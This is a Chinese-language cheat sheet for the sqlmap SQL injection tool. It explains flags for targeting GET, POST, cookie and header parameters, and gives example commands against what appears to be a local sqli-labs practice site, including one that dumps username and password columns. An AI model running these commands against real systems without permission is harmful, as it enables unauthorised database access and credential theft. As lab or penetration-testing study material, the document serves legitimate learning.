SQLmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库
检测位置
-u -- 指定url(GET请求) -p -- 指定参数(url包含多个参数时,指定参数) --data= -- 指定POST请求参数 --cookie -- 指定cookie参数 -r -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)
获取数据
1. --dbs -- 获取数据库名 2. --tables -- 获取表名 3. --columns -- 获取字段名 4. --dump -- 获取数据 5. -D -- 指定数据库 6. -T -- 指定表 7. -C -- 指定字段
其他设置
--batch -- 自动化确认 --tamper -- 指定脚本 --dbms -- 指定数据库类型 --os -- 指定操作系统(windows/linux) --level -- 指定探测等级(1~5) --current-db -- 获取当前数据库的名字 -b -- 获取数据库版本信息 -f -- 获取数据库指纹 --users -- 当前使用的用户 --delay -- 设置延时 --technique -- 指定注入方式 U 联合注入 E 报错注入 B 布尔盲注 T 时间盲注
针对不同的注入位置
GET请求注入
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1
POST请求注入
sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"
COOKIE注入
sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs
HTTP请求头注入(User-agent/Referer/Cookie等HTTP Header),拦截get,post等HTTP请求,将所有请求内容复制到target.vm文件中,在需要检测的Header后面加上*,并且需要level>=3
sqlmap -r target.vm --level 3 --dbs
获取数据
获取所有数据库
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs
获取指定数据库中的所有表
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables
获取指定数据库中指定表的所有字段
sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns
获取指定数据库中指定表中指定字段的所有数据
sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump
HTTP Header头注入
1.拦截post请求信息,并将请求信息的全部内容复制到文件中,
2.在需要检测的Header位置添加*
3.使用SQLmap对指定文件进行检测,SQLmap会自动检索*,从而对目标Header进行检测